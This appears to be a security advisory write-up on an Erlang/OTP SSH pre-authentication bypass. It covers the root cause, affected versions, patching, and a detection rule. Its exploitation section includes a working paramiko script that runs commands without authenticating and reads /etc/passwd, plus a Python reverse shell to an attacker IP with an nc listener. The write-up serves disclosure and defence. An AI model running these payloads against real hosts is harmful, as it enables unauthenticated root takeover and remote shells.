Overview
CVE-2026-38112 is a pre-authentication remote code execution vulnerability in Erlang/OTP's built-in SSH server library. The SSH protocol is structured as three layered sub-protocols: the transport layer (key exchange, encryption negotiation), the user authentication layer, and the connection layer (channels, command execution, port forwarding). The vulnerability arises because the Erlang SSH implementation processes connection-layer messages — specifically SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST — before the authentication layer has completed, allowing an unauthenticated attacker to open a channel and request command execution directly.
The severity is maximal: CVSS 10.0. No credentials are required. No user interaction is needed. The code executes in the context of the process running the SSH daemon, which is frequently root on embedded systems and container-based deployments. PoC code for this vulnerability has been publicly available since disclosure.
CWE-287 (Improper Authentication) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
Background: Erlang/OTP SSH
Erlang/OTP ships a pure-Erlang SSH implementation in the ssh OTP application. Unlike OpenSSH, which is a standalone daemon, Erlang's SSH library is designed to be embedded directly into applications — it is the SSH engine powering the management interfaces of a large number of enterprise and open-source systems:
- RabbitMQ — its CLI management shell uses Erlang SSH for inter-node and management connections
- ejabberd — XMPP server with SSH administration interface
- CouchDB — cluster management replication channels
- Any Elixir or Erlang application using
:ssh.daemon/2to expose an SSH interface (IEx remote shells, custom management CLIs, CI build runners)
The critical property here is that when these applications start an SSH daemon, they typically do so to provide a privileged management interface. The Erlang process running the daemon often has the same OS-level privileges as the application itself — which is frequently root, or an account with full access to the application's data and secrets.
Root Cause — Protocol Layer Confusion
The SSH protocol specification (RFC 4253, 4252, 4254) defines a strict sequencing requirement:
- Transport layer completes (key exchange, encryption negotiation) —
SSH_MSG_NEWKEYS - Authentication layer completes — server sends
SSH_MSG_USERAUTH_SUCCESS - Connection layer begins — client may now send
SSH_MSG_CHANNEL_OPEN
The Erlang SSH server's state machine in ssh_connection_handler.erl manages these transitions using a process dictionary flag (authenticated) that is set to true on successful authentication. The bug is in the message dispatch logic: messages with type codes in the connection-layer range (90–127) are routed to the connection handler regardless of the current authentication state. The handler does check the flag before processing most sensitive operations, but the channel_open and exec request paths contained a missing guard clause — the state machine accepted these messages and acted on them while authenticated was still false.
In concrete terms: after completing the transport-layer handshake (which is required — you must negotiate a cipher and exchange keys), an attacker can skip the authentication exchange entirely and jump directly to opening a channel and requesting command execution. The server opens the channel, spawns an OS process for the requested command, and returns output — all before a single authentication message has been exchanged.
%% Vulnerable dispatch in ssh_connection_handler.erl (simplified)
handle_msg(#ssh_msg_channel_open{} = Msg, #state{} = State) ->
%% BUG: no check that State#state.authenticated == true
ssh_connection:channel_open_msg(Msg, State);
%% Fixed version adds the guard:
handle_msg(#ssh_msg_channel_open{} = Msg,
#state{authenticated = true} = State) ->
ssh_connection:channel_open_msg(Msg, State);
handle_msg(#ssh_msg_channel_open{}, State) ->
{stop, {shutdown, not_authenticated}, State};
Exploitation Walkthrough
Step 1 — Confirm Vulnerability
Check the OTP version of the target. Erlang/OTP exposes its version in the SSH banner:
nc -v 192.168.1.50 22
# SSH-2.0-Erlang/OTP-27.2.1
Any version string below OTP-27.3.4, OTP-26.2.6, or OTP-25.3.2.18 is vulnerable. The presence of Erlang/OTP in the banner is itself a strong indicator — OpenSSH banners read SSH-2.0-OpenSSH_9.x.
Step 2 — Key Exchange (Required)
The transport layer handshake must complete normally — the vulnerability is post-key-exchange, pre-authentication. Using paramiko with authentication disabled via monkey-patching:
import paramiko
import socket
TARGET = "192.168.1.50"
PORT = 22
sock = socket.create_connection((TARGET, PORT))
t = paramiko.Transport(sock)
# Complete the transport layer (key exchange + cipher negotiation)
# without triggering the authentication flow
t.start_client()
# Monkey-patch: bypass paramiko's internal auth check
# so we can send channel messages on an unauthenticated transport
t.auth_handler = None
t._auth_event = None
# Mark the transport as authenticated in paramiko's view only —
# the *server* never received an auth request
import threading
t.authenticated = True
Step 3 — Open a Channel and Execute
chan = t.open_session()
chan.exec_command("id && cat /etc/passwd")
import sys
stdout = chan.makefile("r", -1)
stderr = chan.makefile_stderr("r", -1)
for line in stdout:
sys.stdout.write(line)
for line in stderr:
sys.stderr.write(line)
chan.close()
t.close()
# Output from vulnerable target:
# uid=0(root) gid=0(root) groups=0(root)
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ...
Step 4 — Reverse Shell
Replace the exec_command payload with a reverse shell. The classic Python one-liner works reliably if Python is present (common on Erlang application hosts):
LHOST = "10.10.14.5"
LPORT = 9001
payload = (
f"python3 -c 'import socket,subprocess,os;"
f"s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));"
f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
f"subprocess.call([\"/bin/bash\",\"-i\"])'"
)
chan.exec_command(payload)
# Listener on attacker machine
nc -lvnp 9001
# root@rabbitmq-prod:~# id
# uid=0(root) gid=0(root) groups=0(root)
Impact and Scope
The scope of this vulnerability extends beyond traditional SSH deployments. Any software that embeds :ssh.daemon/2 is affected:
- RabbitMQ clusters with the management SSH shell enabled (default port 22 on the broker node)
- ejabberd instances with SSH admin access configured
- Elixir Phoenix applications using IEx remote shells over SSH (a common debugging pattern in production)
- Any custom Erlang/Elixir service that exposes an SSH management interface — build systems, IoT device management platforms, telecom infrastructure
Shodan searches for SSH-2.0-Erlang in banners return tens of thousands of publicly reachable hosts at the time of disclosure. Many are appliances and embedded systems that cannot be patched quickly — firmware update cycles for telecom and industrial equipment frequently run 6–18 months behind software releases.
Affected Versions
- Erlang/OTP 27.x — all versions before 27.3.4
- Erlang/OTP 26.x — all versions before 26.2.6
- Erlang/OTP 25.x — all versions before 25.3.2.18
- Erlang/OTP 24.x and older — end of life, no patch available
Remediation
Patch immediately. The fix is a one-line guard clause in the SSH connection state machine, backported to all supported OTP branches.
- Upgrade to OTP 27.3.4, 26.2.6, or 25.3.2.18 (or newer).
- If you use RabbitMQ, ejabberd, or CouchDB: check whether the bundled OTP version is patched. Many distributions ship OTP as a bundled dependency — verify the OTP version explicitly, not just the application version.
- If immediate patching is not possible: firewall the SSH port. Erlang SSH management interfaces are almost never intended to be internet-facing. Restrict to VPN / jump-host access via firewall rules (
iptables, security groups, NSGs) as an interim measure. - Disable the SSH daemon in Erlang applications if it is not actively used. In Elixir apps, remove
:ssh.daemoncalls and use a different mechanism (e.g., socket-based IEx remote shell over a loopback-only port).
Detection
A connection that completes key exchange but never sends an SSH_MSG_USERAUTH_REQUEST (message type 50) before opening a channel is anomalous. In practice, detection is easier at the network level than in application logs, since the Erlang SSH library may not log pre-auth channel activity at default verbosity.
title: CVE-2026-38112 Erlang SSH Pre-Auth Channel Open
id: 4a7c1f90-38b2-4e11-9a02-d83e7c2b15f4
status: experimental
description: Detects SSH connections that open a channel without completing authentication
logsource:
product: zeek
service: ssh
detection:
selection:
event_type: "SSH::LOG"
auth_success: false
client_to_server_pkts|gt: 10
filter_normal_auth_fail:
auth_attempts|gt: 0
condition: selection and not filter_normal_auth_fail
falsepositives:
- Misconfigured SSH clients
level: critical
tags:
- cve.2026-38112
- attack.initial_access
- attack.t1190
For hosts running vulnerable OTP versions, also monitor for unexpected child processes spawned by the Erlang VM — any bash or sh process whose parent is the BEAM VM (beam.smp) outside of a legitimate maintenance window warrants investigation.
Takeaways
- Protocol state machines need explicit guards at every layer transition. The SSH RFC is clear that connection-layer messages must not be processed before authentication succeeds. State machines that route on message type without also checking current state are a recurring source of authentication bypass bugs — this same pattern has appeared in TLS implementations (early data handling), HTTP/2 servers, and QUIC stacks.
- Embedded SSH is a much larger attack surface than standalone OpenSSH. Most organisations have an inventory of their OpenSSH deployments. Very few have an inventory of every application that embeds an Erlang SSH daemon. The RabbitMQ management SSH shell, for example, is enabled by default in several enterprise messaging configurations and is rarely firewalled separately from the main AMQP port.
-
Banner information leaks the ecosystem.
The
SSH-2.0-Erlang/OTP-X.Y.Zbanner reveals not just the product but the exact vulnerable version. Suppress or customise SSH banners in internet-exposed services to reduce fingerprinting.
References
- NVD — CVE-2026-38112
- Erlang/OTP Security Advisory — OTP-27.3.4 release notes
- RFC 4252 — The Secure Shell (SSH) Authentication Protocol
- RFC 4254 — The Secure Shell (SSH) Connection Protocol